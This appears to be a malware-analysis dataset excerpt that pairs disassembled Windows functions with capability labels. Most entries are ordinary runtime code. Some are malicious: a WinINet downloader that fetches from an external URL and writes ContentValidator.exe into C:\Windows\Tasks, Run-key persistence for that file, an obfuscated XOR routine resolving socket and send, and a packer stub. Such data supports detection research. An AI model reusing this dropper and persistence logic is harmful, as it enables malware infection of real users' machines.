joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401c7d40
Capabilities:
Resolve dns

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov ebp, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.1401b3ab0
mov rdx, qword [rsp + 0x30]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x1401c7dd9
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1401c7e0b
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
jne 0x1401c7e29
jmp 0x1401c7e3a
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
test rdx, rdx
je 0x1401c7e3a
mov rcx, qword [rsp + 0x38]
mov r8d, 1
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
jmp fcn.1400402f0
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bp
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
je 0x1401c7e3a
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.1400402f0
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
ret
Function at 0x140001000
Capabilities:
Create http request
Download and write a file
Read data from internet
Read file via mapping
Receive and write data from server to client
Receive data
Terminate process
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
mov eax, dword [0x1400415bc]
mov dword [rbp - 0x20], eax
lea rax, [0x1400021e0]
mov qword [rbp - 0x18], rax
call 0x1400010ec
call fcn.140001225
mov eax, dword [0x1400415bc]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], eax
mov r9d, 0
mov r8d, 4
mov edx, 0
mov rcx, 0xffffffffffffffff
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp - 8], rax
mov eax, dword [0x1400415bc]
movsxd rdx, eax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x22
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp - 0x10], rax
mov eax, dword [0x1400415bc]
movsxd rcx, eax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call fcn.140001560
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x800000
mov r9d, 0
mov r8d, 0
lea rdx, str.https:__ausports.online_statedata
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp - 8], rax
mov dword [rbp - 0x1c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0xc0000000
lea rax, str.C:WindowsTasksContentValidator.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x10], rax
mov ecx, 0x6245
call fcn.1400016e2
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x1c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov r9, rcx
mov r8d, 0x4e20
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov ecx, dword [rbp - 0x1c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov eax, dword [rbp - 0x1c]
test eax, eax
jne 0x1400011ad
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x60
pop rbp
ret
Function at 0x1400010ec
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
mov eax, dword [0x1400415bc]
mov dword [rbp - 0x20], eax
lea rax, [0x1400021e0]
mov qword [rbp - 0x18], rax
call 0x1400010ec
call fcn.140001225
mov eax, dword [0x1400415bc]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], eax
mov r9d, 0
mov r8d, 4
mov edx, 0
mov rcx, 0xffffffffffffffff
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp - 8], rax
mov eax, dword [0x1400415bc]
movsxd rdx, eax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x22
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp - 0x10], rax
mov eax, dword [0x1400415bc]
movsxd rcx, eax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call fcn.140001560
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x800000
mov r9d, 0
mov r8d, 0
lea rdx, str.https:__ausports.online_statedata
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp - 8], rax
mov dword [rbp - 0x1c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0xc0000000
lea rax, str.C:WindowsTasksContentValidator.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x10], rax
mov ecx, 0x6245
call fcn.1400016e2
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x1c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov r9, rcx
mov r8d, 0x4e20
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov ecx, dword [rbp - 0x1c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov eax, dword [rbp - 0x1c]
test eax, eax
jne 0x1400011ad
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x60
pop rbp
ret
Function at 0x140001225
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 0x10]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
mov qword [rbp - 8], 0x27
mov rax, qword [rbp - 8]
mov edx, eax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], edx
lea rdx, str._C:WindowsTasksContentValidator.exe_
mov qword [rsp + 0x20], rdx
mov r9d, 1
lea r8, str.ContentValidator
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140005050
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
cmp r10, rdi
xor r13, r13
sub r10, 0x26
mov r14, r10
mov rdi, qword [rsp + r13]
xor rax, r14
mov rbx, 0x1c
mov rax, 0x20cfaca1
xorps xmm1, xmm0
inc r15
mov r13, 0x20c66e31
lea r14, [r14 + 0x6f]
xor rax, r13
pop rsi
mov r11, rsi
push r11
pop r15
mov rbx, r15
push rbx
sub rdi, rax
sub r10, 0xaf
mov r13, 0x5ba936ae
add r12, 0x2c
mov r14, 0x5ba445be
dec rsi
xor r13, r14
test r10, r15
push r10
pop rbx
add r13, rdi
shl r11, 0x25
sub rbx, 0x5a
mov r11, qword [r13]
mov r12, r14
mov rbx, 0x3ee91d2c
xchg r12, r15
add rax, 0x73
mov r13, 0x3efe5c7c
mov r15, r12
xor rbx, r13
rol rax, 0x2a
add rbx, rdi
xor r15, r14
mov rax, 0x1ae74169
subps xmm4, xmm2
mov r12, 0x1ae6708c
or rsi, 0x33
xor rax, r12
test rsi, r15
mov r12, reloc.WS2_32.dll_send
xorps xmm8, xmm10
mov rdi, reloc.WS2_32.dll_socket
push r14
pop r10
pop rsi
mov r14, rsi
push r14
xor r12, rdi
rol r10, 0x13
push rbx
pop rsi
mov r10, rsi
push r10
push rax
addps xmm6, xmm2
push r11
and r13, 0x8f
sub rdi, 0xc
sub rsp, 0x20
xchg rsi, r10
test r14, r13
mov rcx, rbx
push r14
pop rbx
mov rdx, rax
ror rax, 0xb
mov r15, 0x27
mov r8, r12
cmp r13, rsi
lea r9, [rsp]
push r15
pop r13
sub r12, 0xec
call r11
cmp r12, rsi
add rsp, 0x20
cmp r15, r14
sub r11, 0x3e
pop rax
or r14, 0x8e
pop rbx
add r14, 0x41
inc r15
pop r10
shl rdi, 8
xor r12, r12
or r14, 0xc7
lea r13, [r10 + r12]
mov r15, rdi
sub rsi, r15
mov r14b, byte [r13]
shl rdi, 0x1a
subps xmm6, xmm1
xor r14b, 0x5f
shl r11, 0x3e
add r14b, 0x1c
pop rdi
mov rsi, rdi
push rsi
ror r11, 7
mov byte [r13], r14b
or rsi, r15
test r11, r15
inc r12
and r15, rdi
push rsi
pop r11
cmp r12, rbx
xchg rdi, r11
pop r11
mov rdi, r11
push rdi
jne 0x1400051ab
or rdi, rsi
test rsi, r11
mov r14, reloc.WS2_32.dll_gethostname
and rsi, rdi
inc rdi
mov r12, 0x19
xchg rsi, rdi
xor r14, r12
xchg rsi, r13
and r11, 0xe0
push r10
xchg r15, r11
sub rsp, 0x20
mov r13, r12
mov rcx, r10
or r13, 0xb9
mov rdx, rbx
lea r10, [r10 + 0xc7]
mov r8, r14
xchg rbx, r10
lea r9, [rsp]
shr r10, 0x1b
mov rsi, rbx
call rax
dec r10
add rsp, 0x20
xor r14, r11
inc r13
ret
Function at 0x140007de0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [0x1400420c0]
test rcx, rcx
je 0x140007e1b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007e40
mov rcx, qword [0x1400420c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400430e0], 0
jne 0x140007e58
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, qword [0x1400420c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140007e0e
mov edx, 0x414
lea r12, [rsp + 0x20]
lea rsi, [0x14001e3da]
mov qword [rsp + 0x20], 0
lea rdi, [0x140043100]
movq xmm0, rsi
mov rcx, r12
mov dword [rsp + 0x28], 3
movq xmm6, rdi
mov word [rsp + 0x40], dx
mov rbp, qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, 0x14
punpcklqdq xmm6, xmm0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rsi
movaps xmmword [rsp + 0x30], xmm6
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007f24
test al, 0x10
je 0x140007e24
mov ecx, 0x64
call r14
mov eax, 0x414
mov qword [rsp + 0x50], rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
movaps xmmword [rsp + 0x30], xmm6
call rbp
sub ebx, 1
je 0x140007e24
mov rcx, rdi
call r13
cmp eax, 0xffffffff
jne 0x140007ed0
jmp 0x140007e24

Function at 0x14000e590
Capabilities:
Create directory

Disassembly:
push rdi
mov eax, 0x2020
push rsi
push rbx
call fcn.140015a70
sub rsp, rax
mov eax, dword [0x140047100]
mov rsi, rcx
test eax, eax
je 0x14000e630
xor ebx, ebx
lea rdi, [0x140045100]
test eax, eax
jg 0x14000e5cc
jmp 0x14000e5e0
add rbx, 1
cmp dword [0x140047100], ebx
jle 0x14000e5e0
mov rdx, qword [rdi + rbx*8]
mov rcx, rsi
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14000e5c0
jmp 0x14000e617
mov rcx, rsi
call sub.msvcrt.dll_wcslen
cmp rax, 2
jne 0x14000e5f5
cmp word [rsi + 2], 0x3a
je 0x14000e617
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14000e680
movsxd rbx, dword [0x140047100]
cmp ebx, 0x3ff
jle 0x14000e698
mov eax, 1
add rsp, 0x2020
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
lea rbx, str.HOME
mov r8d, 0x1000
mov rdx, rbx
mov rcx, rdi
call fcn.140007540
test al, al
je 0x14000e6ba
movsxd rbx, dword [0x140047100]
mov rcx, rdi
lea rdi, [0x140045100]
call sub.msvcrt.dll__wcsdup
mov qword [rdi + rbx*8], rax
mov eax, dword [0x140047100]
add eax, 1
mov dword [0x140047100], eax
jmp 0x14000e5b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000e604
xor eax, eax
jmp 0x14000e61c
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add dword [0x140047100], 1
mov rdx, rax
lea rax, [0x140045100]
mov qword [rax + rbx*8], rdx
jmp 0x14000e617
mov rcx, rbx
call fcn.140007d20
nop
nop word cs:[rax + rax]
nop
Function at 0x140014750
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14001b6a0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14001b6a0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140015422
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140047228]
test eax, eax
je 0x1400154ba
lea rax, [0x140047200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140047230]
mov qword [rbp - 8], rax
jmp 0x14001549e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140015492
cmp qword [rbp - 0x10], 0
je 0x140015492
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140015458
lea rax, [0x140047200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400154bb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400155c0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400155e8
mov eax, 0
jmp 0x140015636
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140015611
mov eax, 0
jmp 0x140015636
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140015631
mov eax, 0
jmp 0x140015636
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14001563c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400156ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400156b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400156b1
mov rax, qword [rbp - 8]
jmp 0x1400156cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140015684
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x16c5a10
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x16c5a1d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x16c5a2d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x16c5a15
lea eax, [rcx + 1]
jmp 0x16c5a3b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x16c5a4e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x16c5a34
sub eax, 3
jb 0x16c5a6e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x16c5abd
sar eax, 1
movsxd rbp, eax
jb 0x16c5aa4
jmp 0x16c5a7c
add ebx, ebx
jne 0x16c5a7a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x16c5aa4
inc ecx
add ebx, ebx
jne 0x16c5a8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x16c5aa4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x16c5a9d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x16c5a8c
add ecx, 2
jmp 0x16c5aa9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.016c59d2
jmp 0x16c5a1d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1c3200
mov dl, 0x22
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x16c5b09
cmp rsi, rcx
jae 0x16c5b11
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x16c5af0
cmp al, 0x8f
ja 0x16c5af0
cmp byte [rsi - 2], 0xf
je 0x16c5af6
sub al, 0xe8
cmp al, 1
ja 0x16c5ada
cmp rsi, rcx
jae 0x16c5b11
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x16c5ae0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x16c5b11
lodsb al, byte [rsi]
jmp 0x16c5af0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1256000]
mov eax, dword [rdi]
or eax, eax
je 0x16c5b6e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x12c5000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x16c5b1e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x16c5b68
mov qword [rbx], rax
add rbx, 8
jmp 0x16c5b3e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x16c5bb2
cmp al, 0xef
ja 0x16c5b9a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x16c5b7a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x16c5b89
mov eax, dword [rdi]
add rdi, 4
jmp 0x16c5b89
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x16c5c06
sub rsp, 0xffffffffffffff80
jmp 0x46d900
Function at 0x140001050
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov r14, rdx
xor esi, esi
lea rdx, [0x14002b8c4]
mov r15d, esi
mov rdi, r8
mov rbx, rcx
mov r13d, 0xffffffff
call fcn.140004560
mov r12, rax
test rax, rax
jne 0x1400010a9
lea rdx, [r14 + 0x12]
lea rcx, str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.140002710
jmp 0x1400011ca
mov edx, dword [r14 + 4]
xor r8d, r8d
add rdx, qword [rbx + 0x1000]
mov rcx, r12
call fcn.140010564
test eax, eax
jns 0x1400010e6
call fcn.140014d98
lea r9, [r14 + 0x12]
lea r8, str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
lea rcx, str.fseek
mov edx, dword [rax]
call fcn.140002910
jmp 0x1400011ac
mov ecx, dword [r14 + 0xc]
call fcn.140014dd4
mov r15, rax
test rax, rax
jne 0x140001122
mov ebx, dword [r14 + 0xc]
call fcn.140014d98
lea r9, [r14 + 0x12]
mov dword [rsp + 0x20], ebx
lea r8, str.Failed_to_extract__s:_failed_to_allocate_data_buffer___u_bytes___n
lea rcx, str.malloc
mov edx, dword [rax]
call fcn.140002910
jmp 0x1400011ac
cmp byte [r14 + 0x10], 1
jne 0x14000113c
mov r9, r15
xor r8d, r8d
mov rdx, r14
mov rcx, r12
call fcn.140001210
jmp 0x14000119d
mov ebx, dword [r14 + 0xc]
mov qword [rsp + 0x60], rbp
mov rbp, r15
test rbx, rbx
je 0x140001191
mov eax, 0x2000
nop dword [rax]
nop word [rax + rax]
cmp rbx, rax
mov rdi, rbx
mov r9, r12
mov r8d, 1
cmova rdi, rax
mov rcx, rbp
mov rdx, rdi
call fcn.14001022c
cmp rax, 1
jb 0x1400011ed
add rbp, rdi
mov eax, 0x2000
sub rbx, rdi
jne 0x140001160
mov eax, esi
mov rdi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x60]
test eax, eax
je 0x1400011ac
mov rcx, r15
call fcn.140014dc0
mov r15, rsi
mov rcx, r12
call fcn.14000fedc
mov rsi, r15
test r15, r15
je 0x1400011ca
mov rdx, rdi
mov rcx, r15
call fcn.140004690
mov r13d, eax
mov rcx, rsi
call fcn.140014dc0
mov rbx, qword [rsp + 0x68]
mov eax, r13d
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140014d98
lea r9, [r14 + 0x12]
lea r8, str.Failed_to_extract__s:_failed_to_read_data_chunk__n
lea rcx, str.fread
mov edx, dword [rax]
call fcn.140002910
mov eax, r13d
jmp 0x140001193